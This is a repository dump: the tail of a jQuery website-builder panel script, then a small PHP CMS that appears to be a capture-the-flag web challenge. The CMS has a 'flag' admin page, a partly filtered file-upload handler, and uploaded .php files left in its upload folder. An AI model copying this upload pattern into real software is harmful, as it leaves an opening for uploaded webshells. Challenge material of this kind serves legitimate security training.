$("#Website_Name").val(""); //网站标题 $("#chril_Domain").val(""); //二级域名 $("#New_Domain").val(""); //新域名 $("#Has_Domain").val(""); //已有域名 $("#datacheck").empty(); //是否通過 $("#chril_Domain_check").empty(); //是否可以註冊 $("#New_Domain_Msg").empty(); //已有的域名 //开通不成功! $("#loading").dialog("close"); ot5alert(result, "1"); } }, "html"); } else if (data = "NoSeesion") { // ot5alert(msg.NoSeesion, "1"); //登录超时 self.location = "/users/Login.aspx"; } else {//订单不成功 ///一個開通建站結束後清空的項目 $("#Website_Name").val(""); //网站标题 $("#chril_Domain").val(""); //二级域名 $("#New_Domain").val(""); //新域名 $("#Has_Domain").val(""); //已有域名 $("#datacheck").empty(); //是否通過 $("#chril_Domain_check").empty(); //是否可以註冊二級域名 $("#New_Domain_Msg").empty(); //已有的域名 $("#loading").dialog("close"); ot5alert(data, "1"); } }, "html"); } } function isdomain(str) { // var reg = /^([a-zA-Z0-9-]+\.)+(com|cn|net|biz|name|info|tv|org|cc|hk|mobi|name|asia|ws|us|mn|bz|in|me)$/; var reg = /([\S\s]+\.)+(com|cn|net|biz|name|tw|info|tv|org|cc|hk|mobi|asia|co|so|ws|us|mn|bz|in|me|中国|公司|网络)$/; var regg = /[\>@#\$%\^&\*)!(~<|。=?+\\\;;\、\/\{\}\[\]::\'\"\“!……¥ `·]+/g; if (str.toLowerCase().indexOf("http://") == 0) { return false; } else if (!reg.test(str)) { return false; } else if (regg.test(str)) { return false; } else { return true; } } function isDigit1(str) { var reg = /^[a-zA-Z0-9\\-]{4,16}$/; // 现在的 ^[a-zA-Z0-9\\-]{4,16}$ 这个是原来的 /^[a-zA-Z0-9\\-_]{4,16}$/; return reg.test(str); // if (str.length < 5) // {return false;} // if (!re.exec(str)) // { return false; } // var reg = /^[a-zA-Z]{1}([a-zA-Z0-9]|[._]){4,16}$/; // if (!reg.exec(str)) return false // return true } function regcheck(pattern, obj, errInfos) {//z输入中文域名 if (pattern.test(obj.value)) { alert(errInfos); obj.focus(); return false; } return true; } function price() { var yesars = $("#years").val(); var prohg = $("#p_prohg").val(); $("#years").val(yesars * prohg); } function delectweb(obj) {//删除网站实体 window.obj = obj; window.str = obj.parent("li").parent("ul").attr("id"); $("#deletwebagian").dialog({ height: 126, width: 350, modal: true, resizable: false }); $("#showmsg").html(msg.ysure); //您確認要刪除 " + str + ".wopop.com 這個站點麼? // $("#delagan").click(function () { // $("#deletwebagian").dialog("close"); // $("#yes_or2").dialog({ // height: 126, // width: 350, // modal: true, // resizable: false // }); // var str = obj.parent("li").parent("ul").attr("id"); // var state = str.parent("div").parent("li").parent("div").attr("class"); // $("#sure2").click(function () {//确定 // // var str = location.href; // var xx = window.location.search; // var yy = (xx.substring(1, xx.length)); // var zz = obj.find(".jason").val(); //1 表示正常 // var uu = obj.find(".chen").val(); // $("#yes_or2").dialog("close"); //关闭询问 // $("#loading_div").show(); //加载中 // $.ajax({ // url: 'deleteWeb.aspx', // async: true, // cache: false, // data: 's_nme=' + str + '&' + yy + '&state=' + zz + '&webpage=' + uu, // success: function (data) { // if (data == "TimeOut") { // window.location.href = "/users/Login.aspx"; // } // $("#loading_div").hide(); //加载完成 // if (data.split('||')[0] == "typeone") { // window.location.href = data.split('||')[1]; // } // else if (data.split('||')[0] == "typetwo") { // ot5alert(data.split('||')[1].split('|')[0], data.split('||')[1].split('|')[1]); // } // } // }); // //window.location.href = "../ot5lst/deleteWeb.aspx?s_nme=" + str + "&" + yy + "&state=" + zz + "&webpage=" + uu; // }); // }); } function webinfo(obj) { $("#webinfo").dialog({ width: 770, modal: true, resizable: false // position:[100,200] }); // $("#accordion").accordion({ autoHeight: false, active: 0 }); //基本信息 var str = obj.parent("li").parent("ul").attr("id"); $.post("/Ajax_WebServer/Ajax_UserSingle_WebInfo.ashx", { str: str }, function (info) { if (info == "TimeOut") { window.location.href = "/users/Login.aspx"; } else { $("#webinfo").empty(); $("#webinfo").append(info); } }, "html"); } ///域名列表 function binddomain(obj) { if (obj.attr("disabled") == "disabled") { return false; //异常禁掉 } var str = obj.parent("li").parent("ul").attr("id"); $("#binddime").dialog({ width: 600, // height:305, modal: true, resizable: false }); //绑定域名列表 if (str != "") { var tobdy = ""; tobdy += ""; $.post("/UserHome/Ajax_Server/Ajax_All_V_ot51st.ashx", { str: str, typex: "1" }, function (jason) { if (jason == "1") { $("#domeList").empty(); $("#domeList").append(msg.sorrys); //對不起!您暫時還沒有域名!請自行添加。 } else if (jason == "TimeOut") { window.location.href = "/users/Login.aspx"; } else { $.each(jason.jsonstr, function (i, vale) { if (vale.s_o3.split(",") == "") { $("#domeList").empty(); $("#domeList").append(msg.sorrys); //"對不起!您暫時還沒有域名!請自行添加。" } else { for (var j = 0; j < vale.s_o3.split(",").length; j++) { tobdy += " "; } } if (vale.g_prd == "freewebsite" || vale.g_prd == "freeshop")//此处赋值给ot5_dme_new 看看 是免费还是高级版本 以便判断1 还是10个域名绑定 { /// $("#ot5_dme_new").val(msg.stailing); //您可以綁定1個域名! $("#free_or").val("1"); //綁定一個域名 } else { /// $("#ot5_dme_new").val(msg.ycanb); //"您可以綁定1到10個域名!" $("#free_or").val("10"); //可以10個域名 } }); tobdy += "
      " + msg.bingdomess + "

      " + (j + 1) + "

      " + vale.s_o3.split(",")[j] + "
      "; $("#domeList").empty(); $("#domeList").append(tobdy); } }, "json"); } $("#binddomainId").attr("value", str); //误删 } function upgrade(obj) { var str = obj; var thispage = document.URL; var comfrompage; if (thispage.indexOf('UserHome/ot5lst/website.aspx') == -1) { comfrompage = "deluxeshop"; } else { comfrompage = "deluxewebsite"; } window.location.href = "/userhome/ot5lst/upgrade.aspx?str=" + str + "&comfrompage=" + comfrompage; //第三次修改 我不信还会变回去了??? // $("#upgrade").dialog({ // width: 770, // modal: true, // resizable: false // }); // // $("#accordion").accordion({ autoHeight: false, active: 1 }); //升级服务 // $.post("/Ajax_WebServer/Ajax_UserSingle_Upgrade.ashx", { str: str, comfrompage: comfrompage }, function (upgrade) { // if (upgrade == "TimeOut") { // window.location.href = "/users/Login.aspx"; // } else { // $("#upgrade").empty(); // $("#upgrade").append(upgrade); // } // }, "html"); } ///随机8位数 function makeid() { var text = "pop"; var possible = "abcdefghijklmnopqrestuvwxyz12456789"; for (var i = 0; i < 9; i++) text += possible.charAt(Math.floor(Math.random() * possible.length)); return text; } function upfree() {//升级按钮 if ($("input:radio[name='yearss'][checked]").val() == null) {//没选的情况下 ot5alert(msg.choose, "1"); //要选择其中一项年份 } else { $("#askformessage").empty(); $("#askformessage").html(msg.aresuer); //如果確认升级空间型号,系統将自动扣除您的款項? $("#yes_or").dialog({ height: 126, width: 350, modal: true, resizable: false }); } } ///根據操作系統或者瀏覽器的語言版本跳轉不同的 版本頁面 function chooseretun() { var type = navigator.appName if (type == "Netscape") { var lang = navigator.language } else { var lang = navigator.userLanguage } //取得国家代码的前两个字母 var lang = lang.substr(0, 2) // 英语 if (lang == "en") { // window.location.href = "http://www.une-system.com.cn/" } // 中文 - 不分繁体和简体 else if (lang == "zh") { // window.location.href="http://www.une-system.com/" // 注释掉了上面跳转,不然会陷入无限循环 } // 除上面所列的语言 else { // window.location.href = "http://www.une-system.com.cn/" } } function ot5alert(mess, type) { $("#alertmessage").html(mess); $("#all_err_msg").dialog({ resizable: false, height: 128, width: 350, modal: true }); $("#alertok").click(function () { if (type == "1") {//点击确定只需要关闭 $("#all_err_msg").dialog("close"); } else if (type == "2") {//点击确定关闭层 然后跳转 $("#all_err_msg").dialog("close"); window.location.href = "/pop/buy/cart.aspx"; } else { $("#all_err_msg").dialog("close"); window.location.href = type; } }); } function ot5_rigth_ert(mess, type) { $("#alert_right_message").html(mess); $("#all_rigtht").dialog({ resizable: false, // height: 126, width: 350, modal: true }); $("#alertok_mesg").click(function () { var ezsite_prd = $("#getfreeORcharge").val(); if (type == "1") {//點擊關閉 $("#all_rigtht").dialog("close"); } else if (type == "2") { //等待命令 $("#all_rigtht").dialog("close"); InitTables(0, ezsite_prd); /// 选模版 } }); } /////////////// function PageCallback(index, jq) { InitTables(index); } //请求数据 function InitTables(pageIndex, typeTemple) { alert("ok"); typeTemple = $("#getfreeORcharge").val(); $.ajax({ type: "POST", dataType: "text", url: '/Ajax_WebServer/Ajax_Templates.ashx', //提交到一般处理程序请求数据 // url: '/pop/web/Ajax_Tempe/Ajax_Templates.ashx', //提交到一般处理程序请求数据 data: "pageIndex=" + (pageIndex + 1) + "&pageSize=" + pageSize + "&ezsite_prd=" + typeTemple + "&type_code=1", //提交两个参数:pageIndex(页面索引),pageSize(显示条数) success: function (data) { if (data == "TimeOut") { window.location.href = "/users/Login.aspx"; } $("#choose_temple").empty(); $("#choose_temple").append(data); $.ajax({ type: "POST", dataType: "text", url: '/Ajax_WebServer/Ajax_Templates.ashx', //提交到一般处理程序请求数据 data: "pageIndex=" + (pageIndex + 1) + "&pageSize=" + pageSize + "&ezsite_prd=" + typeTemple + "&type_code=2", //提交两个参数:pageIndex(页面索引),pageSize(显示条数) success: function (result) { //分页,PageCount是总条目数,这是必选参数,其它参数都是可选 $("#Pagination").pagination(result, { callback: PageCallback, prev_text: ' ', //上一页按钮里text next_text: ' ', //下一页按钮里text items_per_page: pageSize, //显示条数 num_display_entries: 6, //连续分页主体部分分页条目数 current_page: pageIndex, //当前页索引 num_edge_entries: 2 //两侧首尾分页条目数 }); } }); } }); } /////////////// ================================================ FILE: web_simplecms/simplecms/a.php ================================================ ================================================ FILE: web_simplecms/simplecms/about.php ================================================

      About Us

      Neque porpro quisquam est, qui dolorem ipsum quia dolor sit amet aliquid ex ea consectetur

      Ut enim ad minima veniam, quis nostrum exercitationem ullam corporis suscipit laboriosam, nisi ut aliquid ex ea consectetur, adipisci velit, sed quia non numquam eius modi commodi consequatur.

      Our History

      1995 -

      Ut enim ad minima veniam, quis nostrum exercitationem ullam corporis suscipit laboriosam.

      2000 -

      Ut enim ad minima veniam, quis nostrum exercitationem ullam corporis suscipit laboriosam.

      2013 -

      Ut enim ad minima veniam, quis nostrum exercitationem ullam corporis suscipit laboriosam.

      2015 -

      Ut enim ad minima veniam, quis nostrum exercitationem ullam corporis suscipit laboriosam.

      Today

      Ut enim ad minima veniam, quis nostrum exercitationem ullam corporis suscipit laboriosam.

      Our Standards

      21.9.2015

      consequatur aut perferendis

      Itaque earum rerum hic tenetur a sapiente delectus, ut aut reiciendis voluptatibus maiores alias consequatur voluptates repudiandae sint et molestiae non recusandae aut perferendis.

      28.9.2015

      consequatur aut perferendis

      Itaque earum rerum hic tenetur a sapiente delectus, ut aut reiciendis voluptatibus maiores alias consequatur voluptates repudiandae sint et molestiae non recusandae aut perferendis.

      03.8.2015

      consequatur aut perferendis

      Itaque earum rerum hic tenetur a sapiente delectus, ut aut reiciendis voluptatibus maiores alias consequatur voluptates repudiandae sint et molestiae non recusandae aut perferendis.

      What We Offer

      voluptatibus maiores alias

      To take a trivial example, which of us ever undertakes laborious physical exercise, except to obtain some advantage from it? But who has any right to find fault with a man who chooses to enjoy a pleasure.

      ================================================ FILE: web_simplecms/simplecms/admin/footer.php ================================================ ================================================ FILE: web_simplecms/simplecms/admin/header.php ================================================ Home
      ================================================ FILE: web_simplecms/simplecms/admin/index.php ================================================

      flag:

      回复

      It is a long established fact that a reader will be distracted by the readable content of a page when looking at its layout.The point of using Lorem Ipsum is that it has a more-or-less

      It is a long established fact that a reader will be distracted by the readable content of a page when looking at its layout.The point of using Lorem Ipsum is that it has a more-or-less

      上传文件


      ================================================ FILE: web_simplecms/simplecms/admin/logout.php ================================================ ================================================ FILE: web_simplecms/simplecms/admin/upload/1532851276json ================================================ {"":""} ================================================ FILE: web_simplecms/simplecms/admin/upload/1532851294.php ================================================ {"":""} ================================================ FILE: web_simplecms/simplecms/admin/upload/1532851316.php ================================================ ================================================ FILE: web_simplecms/simplecms/admin/upload/config.php ================================================ ================================================ FILE: web_simplecms/simplecms/admin/upload.php ================================================ alert('You should not do this!');window.location='index.php?page=submit'"); } if(!move_uploaded_file($tmpName,$rootpath)){ echo ""; exit; } } echo "上传成功:/upload/".$time.$name1; } } catch(Exception $e) { echo "ERROR"; } // require('footer.php'); ?> ================================================ FILE: web_simplecms/simplecms/bower.json ================================================ { "name": "startbootstrap-sb-admin-2", "homepage": "#template-overviews/sb-admin-2/", "version": "3.3.7+1", "authors": [ "David Miller" ], "description": "A free, open source, Bootstrap admin theme created by Start Bootstrap", "keywords": [ "bootstrap", "theme" ], "license": "MIT", "ignore": [ "**/.*", "node_modules", "bower_components", "test", "tests", "pages", "index.html", "/js" ], "main": [ "dist/css/sb-admin-2.css", "dist/css/sb-admin-2.min.css", "dist/js/sb-admin-2.js", "dist/js/sb-admin-2.min.js" ], "dependencies": { "bootstrap": "~3.3.7", "datatables": "~1.10.4", "datatables-plugins": "~1.0.1", "flot": "~0.8.3", "font-awesome": "~4.6.3", "holderjs": "~2.4.1", "metisMenu": "~1.1.3", "morrisjs": "~0.5.1", "datatables-responsive": "1.0.6", "bootstrap-social": "~4.8.0", "flot.tooltip": "~0.8.4" }, "resolutions": { "font-awesome": "~4.6.3" } } ================================================ FILE: web_simplecms/simplecms/config.php ================================================ ================================================ FILE: web_simplecms/simplecms/contact.php ================================================ ",$str); } ?>
      • +3402 890 679
      • +5356 890 679
      • 345 Diamond Street,
      • Greece.
      ================================================ FILE: web_simplecms/simplecms/css/bootstrap.css ================================================ /*! * Bootstrap v3.3.4 (http://getbootstrap.com) * Copyright 2011-2015 Twitter, Inc. * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) */ /*! normalize.css v3.0.2 | MIT License | git.io/normalize */ html { font-family: sans-serif; -webkit-text-size-adjust: 100%; -ms-text-size-adjust: 100%; } body { margin: 0; } article, aside, details, figcaption, figure, footer, header, hgroup, main, menu, nav, section, summary { display: block; } audio, canvas, progress, video { display: inline-block; vertical-align: baseline; } audio:not([controls]) { display: none; height: 0; } [hidden], template { display: none; } a { background-color: transparent; } a:active, a:hover { outline: 0; } abbr[title] { border-bottom: 1px dotted; } b, strong { font-weight: bold; } dfn { font-style: italic; } h1 { margin: .67em 0; font-size: 2em; } mark { color: #000; background: #ff0; } small { font-size: 80%; } sub, sup { position: relative; font-size: 75%; line-height: 0; vertical-align: baseline; } sup { top: -.5em; } sub { bottom: -.25em; } img { border: 0; } svg:not(:root) { overflow: hidden; } figure { margin: 1em 40px; } hr { height: 0; -webkit-box-sizing: content-box; -moz-box-sizing: content-box; box-sizing: content-box; } pre { overflow: auto; } code, kbd, pre, samp { font-family: monospace, monospace; font-size: 1em; } button, input, optgroup, select, textarea { margin: 0; font: inherit; color: inherit; } button { overflow: visible; } button, select { text-transform: none; } button, html input[type="button"], input[type="reset"], input[type="submit"] { -webkit-appearance: button; cursor: pointer; } button[disabled], html input[disabled] { cursor: default; } button::-moz-focus-inner, input::-moz-focus-inner { padding: 0; border: 0; } input { line-height: normal; } input[type="checkbox"], input[type="radio"] { -webkit-box-sizing: border-box; -moz-box-sizing: border-box; box-sizing: border-box; padding: 0; } input[type="number"]::-webkit-inner-spin-button, input[type="number"]::-webkit-outer-spin-button { height: auto; } input[type="search"] { -webkit-box-sizing: content-box; -moz-box-sizing: content-box; box-sizing: content-box; -webkit-appearance: textfield; } input[type="search"]::-webkit-search-cancel-button, input[type="search"]::-webkit-search-decoration { -webkit-appearance: none; } fieldset { padding: .35em .625em .75em; margin: 0 2px; border: 1px solid #c0c0c0; } legend { padding: 0; border: 0; } textarea { overflow: auto; } optgroup { font-weight: bold; } table { border-spacing: 0; border-collapse: collapse; } td, th { padding: 0; } /*! Source: https://github.com/h5bp/html5-boilerplate/blob/master/src/css/main.css */ @media print { *, *:before, *:after { color: #000 !important; text-shadow: none !important; background: transparent !important; -webkit-box-shadow: none !important; box-shadow: none !important; } a, a:visited { text-decoration: underline; } a[href]:after { content: " (" attr(href) ")"; } abbr[title]:after { content: " (" attr(title) ")"; } a[href^="#"]:after, a[href^="javascript:"]:after { content: ""; } pre, blockquote { border: 1px solid #999; page-break-inside: avoid; } thead { display: table-header-group; } tr, img { page-break-inside: avoid; } img { max-width: 100% !important; } p, h2, h3 { orphans: 3; widows: 3; } h2, h3 { page-break-after: avoid; } select { background: #fff !important; } .navbar { display: none; } .btn > .caret, .dropup > .btn > .caret { border-top-color: #000 !important; } .label { border: 1px solid #000; } .table { border-collapse: collapse !important; } .table td, .table th { background-color: #fff !important; } .table-bordered th, .table-bordered td { border: 1px solid #ddd !important; } } @font-face { font-family: 'Glyphicons Halflings'; src: url('../fonts/glyphicons-halflings-regular.eot'); src: url('../fonts/glyphicons-halflings-regular.eot?#iefix') format('embedded-opentype'), url('../fonts/glyphicons-halflings-regular.woff2') format('woff2'), url('../fonts/glyphicons-halflings-regular.woff') format('woff'), url('../fonts/glyphicons-halflings-regular.ttf') format('truetype'), url('../fonts/glyphicons-halflings-regular.svg#glyphicons_halflingsregular') format('svg'); } .glyphicon { position: relative; top: 1px; display: inline-block; font-family: 'Glyphicons Halflings'; font-style: normal; font-weight: normal; line-height: 1; -webkit-font-smoothing: antialiased; -moz-osx-font-smoothing: grayscale; } .glyphicon-asterisk:before { content: "\2a"; } .glyphicon-plus:before { content: "\2b"; } .glyphicon-euro:before, .glyphicon-eur:before { content: "\20ac"; } .glyphicon-minus:before { content: "\2212"; } .glyphicon-cloud:before { content: "\2601"; } .glyphicon-envelope:before { content: "\2709"; } .glyphicon-pencil:before { content: "\270f"; } .glyphicon-glass:before { content: "\e001"; } .glyphicon-music:before { content: "\e002"; } .glyphicon-search:before { content: "\e003"; } .glyphicon-heart:before { content: "\e005"; } .glyphicon-star:before { content: "\e006"; } .glyphicon-star-empty:before { content: "\e007"; } .glyphicon-user:before { content: "\e008"; } .glyphicon-film:before { content: "\e009"; } .glyphicon-th-large:before { content: "\e010"; } .glyphicon-th:before { content: "\e011"; } .glyphicon-th-list:before { content: "\e012"; } .glyphicon-ok:before { content: "\e013"; } .glyphicon-remove:before { content: "\e014"; } .glyphicon-zoom-in:before { content: "\e015"; } .glyphicon-zoom-out:before { content: "\e016"; } .glyphicon-off:before { content: "\e017"; } .glyphicon-signal:before { content: "\e018"; } .glyphicon-cog:before { content: "\e019"; } .glyphicon-trash:before { content: "\e020"; } .glyphicon-home:before { content: "\e021"; } .glyphicon-file:before { content: "\e022"; } .glyphicon-time:before { content: "\e023"; } .glyphicon-road:before { content: "\e024"; } .glyphicon-download-alt:before { content: "\e025"; } .glyphicon-download:before { content: "\e026"; } .glyphicon-upload:before { content: "\e027"; } .glyphicon-inbox:before { content: "\e028"; } .glyphicon-play-circle:before { content: "\e029"; } .glyphicon-repeat:before { content: "\e030"; } .glyphicon-refresh:before { content: "\e031"; } .glyphicon-list-alt:before { content: "\e032"; } .glyphicon-lock:before { content: "\e033"; } .glyphicon-flag:before { content: "\e034"; } .glyphicon-headphones:before { content: "\e035"; } .glyphicon-volume-off:before { content: "\e036"; } .glyphicon-volume-down:before { content: "\e037"; } .glyphicon-volume-up:before { content: "\e038"; } .glyphicon-qrcode:before { content: "\e039"; } .glyphicon-barcode:before { content: "\e040"; } .glyphicon-tag:before { content: "\e041"; } .glyphicon-tags:before { content: "\e042"; } .glyphicon-book:before { content: "\e043"; } .glyphicon-bookmark:before { content: "\e044"; } .glyphicon-print:before { content: "\e045"; } .glyphicon-camera:before { content: "\e046"; } .glyphicon-font:before { content: "\e047"; } .glyphicon-bold:before { content: "\e048"; } .glyphicon-italic:before { content: "\e049"; } .glyphicon-text-height:before { content: "\e050"; } .glyphicon-text-width:before { content: "\e051"; } .glyphicon-align-left:before { content: "\e052"; } .glyphicon-align-center:before { content: "\e053"; } .glyphicon-align-right:before { content: "\e054"; } .glyphicon-align-justify:before { content: "\e055"; } .glyphicon-list:before { content: "\e056"; } .glyphicon-indent-left:before { content: "\e057"; } .glyphicon-indent-right:before { content: "\e058"; } .glyphicon-facetime-video:before { content: "\e059"; } .glyphicon-picture:before { content: "\e060"; } .glyphicon-map-marker:before { content: "\e062"; } .glyphicon-adjust:before { content: "\e063"; } .glyphicon-tint:before { content: "\e064"; } .glyphicon-edit:before { content: "\e065"; } .glyphicon-share:before { content: "\e066"; } .glyphicon-check:before { content: "\e067"; } .glyphicon-move:before { content: "\e068"; } .glyphicon-step-backward:before { content: "\e069"; } .glyphicon-fast-backward:before { content: "\e070"; } .glyphicon-backward:before { content: "\e071"; } .glyphicon-play:before { content: "\e072"; } .glyphicon-pause:before { content: "\e073"; } .glyphicon-stop:before { content: "\e074"; } .glyphicon-forward:before { content: "\e075"; } .glyphicon-fast-forward:before { content: "\e076"; } .glyphicon-step-forward:before { content: "\e077"; } .glyphicon-eject:before { content: "\e078"; } .glyphicon-chevron-left:before { content: "\e079"; } .glyphicon-chevron-right:before { content: "\e080"; } .glyphicon-plus-sign:before { content: "\e081"; } .glyphicon-minus-sign:before { content: "\e082"; } .glyphicon-remove-sign:before { content: "\e083"; } .glyphicon-ok-sign:before { content: "\e084"; } .glyphicon-question-sign:before { content: "\e085"; } .glyphicon-info-sign:before { content: "\e086"; } .glyphicon-screenshot:before { content: "\e087"; } .glyphicon-remove-circle:before { content: "\e088"; } .glyphicon-ok-circle:before { content: "\e089"; } .glyphicon-ban-circle:before { content: "\e090"; } .glyphicon-arrow-left:before { content: "\e091"; } .glyphicon-arrow-right:before { content: "\e092"; } .glyphicon-arrow-up:before { content: "\e093"; } .glyphicon-arrow-down:before { content: "\e094"; } .glyphicon-share-alt:before { content: "\e095"; } .glyphicon-resize-full:before { content: "\e096"; } .glyphicon-resize-small:before { content: "\e097"; } .glyphicon-exclamation-sign:before { content: "\e101"; } .glyphicon-gift:before { content: "\e102"; } .glyphicon-leaf:before { content: "\e103"; } .glyphicon-fire:before { content: "\e104"; } .glyphicon-eye-open:before { content: "\e105"; } .glyphicon-eye-close:before { content: "\e106"; } .glyphicon-warning-sign:before { content: "\e107"; } .glyphicon-plane:before { content: "\e108"; } .glyphicon-calendar:before { content: "\e109"; } .glyphicon-random:before { content: "\e110"; } .glyphicon-comment:before { content: "\e111"; } .glyphicon-magnet:before { content: "\e112"; } .glyphicon-chevron-up:before { content: "\e113"; } .glyphicon-chevron-down:before { content: "\e114"; } .glyphicon-retweet:before { content: "\e115"; } .glyphicon-shopping-cart:before { content: "\e116"; } .glyphicon-folder-close:before { content: "\e117"; } .glyphicon-folder-open:before { content: "\e118"; } .glyphicon-resize-vertical:before { content: "\e119"; } .glyphicon-resize-horizontal:before { content: "\e120"; } .glyphicon-hdd:before { content: "\e121"; } .glyphicon-bullhorn:before { content: "\e122"; } .glyphicon-bell:before { content: "\e123"; } .glyphicon-certificate:before { content: "\e124"; } .glyphicon-thumbs-up:before { content: "\e125"; } .glyphicon-thumbs-down:before { content: "\e126"; } .glyphicon-hand-right:before { content: "\e127"; } .glyphicon-hand-left:before { content: "\e128"; } .glyphicon-hand-up:before { content: "\e129"; } .glyphicon-hand-down:before { content: "\e130"; } .glyphicon-circle-arrow-right:before { content: "\e131"; } .glyphicon-circle-arrow-left:before { content: "\e132"; } .glyphicon-circle-arrow-up:before { content: "\e133"; } .glyphicon-circle-arrow-down:before { content: "\e134"; } .glyphicon-globe:before { content: "\e135"; } .glyphicon-wrench:before { content: "\e136"; } .glyphicon-tasks:before { content: "\e137"; } .glyphicon-filter:before { content: "\e138"; } .glyphicon-briefcase:before { content: "\e139"; } .glyphicon-fullscreen:before { content: "\e140"; } .glyphicon-dashboard:before { content: "\e141"; } .glyphicon-paperclip:before { content: "\e142"; } .glyphicon-heart-empty:before { content: "\e143"; } .glyphicon-link:before { content: "\e144"; } .glyphicon-phone:before { content: "\e145"; } .glyphicon-pushpin:before { content: "\e146"; } .glyphicon-usd:before { content: "\e148"; } .glyphicon-gbp:before { content: "\e149"; } .glyphicon-sort:before { content: "\e150"; } .glyphicon-sort-by-alphabet:before { content: "\e151"; } .glyphicon-sort-by-alphabet-alt:before { content: "\e152"; } .glyphicon-sort-by-order:before { content: "\e153"; } .glyphicon-sort-by-order-alt:before { content: "\e154"; } .glyphicon-sort-by-attributes:before { content: "\e155"; } .glyphicon-sort-by-attributes-alt:before { content: "\e156"; } .glyphicon-unchecked:before { content: "\e157"; } .glyphicon-expand:before { content: "\e158"; } .glyphicon-collapse-down:before { content: "\e159"; } .glyphicon-collapse-up:before { content: "\e160"; } .glyphicon-log-in:before { content: "\e161"; } .glyphicon-flash:before { content: "\e162"; } .glyphicon-log-out:before { content: "\e163"; } .glyphicon-new-window:before { content: "\e164"; } .glyphicon-record:before { content: "\e165"; } .glyphicon-save:before { content: "\e166"; } .glyphicon-open:before { content: "\e167"; } .glyphicon-saved:before { content: "\e168"; } .glyphicon-import:before { content: "\e169"; } .glyphicon-export:before { content: "\e170"; } .glyphicon-send:before { content: "\e171"; } .glyphicon-floppy-disk:before { content: "\e172"; } .glyphicon-floppy-saved:before { content: "\e173"; } .glyphicon-floppy-remove:before { content: "\e174"; } .glyphicon-floppy-save:before { content: "\e175"; } .glyphicon-floppy-open:before { content: "\e176"; } .glyphicon-credit-card:before { content: "\e177"; } .glyphicon-transfer:before { content: "\e178"; } .glyphicon-cutlery:before { content: "\e179"; } .glyphicon-header:before { content: "\e180"; } .glyphicon-compressed:before { content: "\e181"; } .glyphicon-earphone:before { content: "\e182"; } .glyphicon-phone-alt:before { content: "\e183"; } .glyphicon-tower:before { content: "\e184"; } .glyphicon-stats:before { content: "\e185"; } .glyphicon-sd-video:before { content: "\e186"; } .glyphicon-hd-video:before { content: "\e187"; } .glyphicon-subtitles:before { content: "\e188"; } .glyphicon-sound-stereo:before { content: "\e189"; } .glyphicon-sound-dolby:before { content: "\e190"; } .glyphicon-sound-5-1:before { content: "\e191"; } .glyphicon-sound-6-1:before { content: "\e192"; } .glyphicon-sound-7-1:before { content: "\e193"; } .glyphicon-copyright-mark:before { content: "\e194"; } .glyphicon-registration-mark:before { content: "\e195"; } .glyphicon-cloud-download:before { content: "\e197"; } .glyphicon-cloud-upload:before { content: "\e198"; } .glyphicon-tree-conifer:before { content: "\e199"; } .glyphicon-tree-deciduous:before { content: "\e200"; } .glyphicon-cd:before { content: "\e201"; } .glyphicon-save-file:before { content: "\e202"; } .glyphicon-open-file:before { content: "\e203"; } .glyphicon-level-up:before { content: "\e204"; } .glyphicon-copy:before { content: "\e205"; } .glyphicon-paste:before { content: "\e206"; } .glyphicon-alert:before { content: "\e209"; } .glyphicon-equalizer:before { content: "\e210"; } .glyphicon-king:before { content: "\e211"; } .glyphicon-queen:before { content: "\e212"; } .glyphicon-pawn:before { content: "\e213"; } .glyphicon-bishop:before { content: "\e214"; } .glyphicon-knight:before { content: "\e215"; } .glyphicon-baby-formula:before { content: "\e216"; } .glyphicon-tent:before { content: "\26fa"; } .glyphicon-blackboard:before { content: "\e218"; } .glyphicon-bed:before { content: "\e219"; } .glyphicon-apple:before { content: "\f8ff"; } .glyphicon-erase:before { content: "\e221"; } .glyphicon-hourglass:before { content: "\231b"; } .glyphicon-lamp:before { content: "\e223"; } .glyphicon-duplicate:before { content: "\e224"; } .glyphicon-piggy-bank:before { content: "\e225"; } .glyphicon-scissors:before { content: "\e226"; } .glyphicon-bitcoin:before { content: "\e227"; } .glyphicon-btc:before { content: "\e227"; } .glyphicon-xbt:before { content: "\e227"; } .glyphicon-yen:before { content: "\00a5"; } .glyphicon-jpy:before { content: "\00a5"; } .glyphicon-ruble:before { content: "\20bd"; } .glyphicon-rub:before { content: "\20bd"; } .glyphicon-scale:before { content: "\e230"; } .glyphicon-ice-lolly:before { content: "\e231"; } .glyphicon-ice-lolly-tasted:before { content: "\e232"; } .glyphicon-education:before { content: "\e233"; } .glyphicon-option-horizontal:before { content: "\e234"; } .glyphicon-option-vertical:before { content: "\e235"; } .glyphicon-menu-hamburger:before { content: "\e236"; } .glyphicon-modal-window:before { content: "\e237"; } .glyphicon-oil:before { content: "\e238"; } .glyphicon-grain:before { content: "\e239"; } .glyphicon-sunglasses:before { content: "\e240"; } .glyphicon-text-size:before { content: "\e241"; } .glyphicon-text-color:before { content: "\e242"; } .glyphicon-text-background:before { content: "\e243"; } .glyphicon-object-align-top:before { content: "\e244"; } .glyphicon-object-align-bottom:before { content: "\e245"; } .glyphicon-object-align-horizontal:before { content: "\e246"; } .glyphicon-object-align-left:before { content: "\e247"; } .glyphicon-object-align-vertical:before { content: "\e248"; } .glyphicon-object-align-right:before { content: "\e249"; } .glyphicon-triangle-right:before { content: "\e250"; } .glyphicon-triangle-left:before { content: "\e251"; } .glyphicon-triangle-bottom:before { content: "\e252"; } .glyphicon-triangle-top:before { content: "\e253"; } .glyphicon-console:before { content: "\e254"; } .glyphicon-superscript:before { content: "\e255"; } .glyphicon-subscript:before { content: "\e256"; } .glyphicon-menu-left:before { content: "\e257"; } .glyphicon-menu-right:before { content: "\e258"; } .glyphicon-menu-down:before { content: "\e259"; } .glyphicon-menu-up:before { content: "\e260"; } * { -webkit-box-sizing: border-box; -moz-box-sizing: border-box; box-sizing: border-box; } *:before, *:after { -webkit-box-sizing: border-box; -moz-box-sizing: border-box; box-sizing: border-box; } html { font-size: 10px; -webkit-tap-highlight-color: rgba(0, 0, 0, 0); } body { font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px; line-height: 1.42857143; color: #333; background-color: #fff; } input, button, select, textarea { font-family: inherit; font-size: inherit; line-height: inherit; } a { color: #337ab7; text-decoration: none; } a:hover, a:focus { color: #23527c; text-decoration: underline; } a:focus { outline: thin dotted; outline: 5px auto -webkit-focus-ring-color; outline-offset: -2px; } figure { margin: 0; } img { vertical-align: middle; } .img-responsive, .thumbnail > img, .thumbnail a > img, .carousel-inner > .item > img, .carousel-inner > .item > a > img { display: block; max-width: 